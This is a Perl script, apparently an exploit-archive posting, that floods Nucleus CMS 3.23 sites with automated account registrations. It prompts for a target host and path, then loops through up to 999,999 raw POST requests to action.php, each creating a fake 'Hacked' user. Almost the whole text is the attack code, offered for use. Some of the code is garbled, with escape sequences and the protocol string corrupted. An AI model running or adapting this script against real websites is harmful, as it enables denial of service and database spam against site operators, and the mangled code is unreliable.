Root Nucelus Cms 3.23 Registration Flood

[AnON1m]

img432.imageshack.us/img432/1172/hack7li.jpg

#!/usr/bin/perl



print q{

-[----------------------------------------------------------------------]-



             RooT Nucelus CMS 3.23 Registration FlooD

              Url = [url]http://www.hacking-truths.net[/url]



-[----------------------------------------------------------------------]-



};



use IO::Socket;





$x = 0;



print q(

RooT Nucelus CMS 3.23 Registration FlooD

);



print q(

° Write The Url - Example : [url]www.target.com[/url]

° Url: );

$host = <STDIN>;

chop ($host);



print q(

° Write The The Path! - Example : /, /Nucleus/, /NucelusCMS/, /nCMS/ ...

° Path: );

$path = <STDIN>;

chop ($path);





print q(

° Type the command " flood " for starting :

° Command: );

$type = <STDIN>;

chop ($type);



if($type == 1){



while($x != 0000)

{



$x++;

}



}

elsif ($type == flood){



while($x != 999999)

{



$postit = "action=createaccount&name=Hacked"."$x"."&realname=Hacked&email=test%40Hacked.test&url=";



$lrg = length $postit;





my $sock = new IO::Socket::INET (

                                 PeerAddr => "$host",

                                 PeerPort => "80",

                                 Proto => "tcp",

                                );



die "nConnection Refused : $!n" unless $sock;



print $sock "POST $path"."action.php ****/1.1n";

print $sock "Host: $hostn";

print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5n";

print $sock "Referer: $host"."$path"."createaccount.htmln";

print $sock "Accept-Language: en-usn";

print $sock "Content-Type: application/x-www-form-urlencodedn";

print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4n";

print $sock "Content-Length: $lrgnn";

print $sock "$postitn";

close($sock);





syswrite STDOUT, "->";





$x++;

}

}else{



  die " Error ! n";

}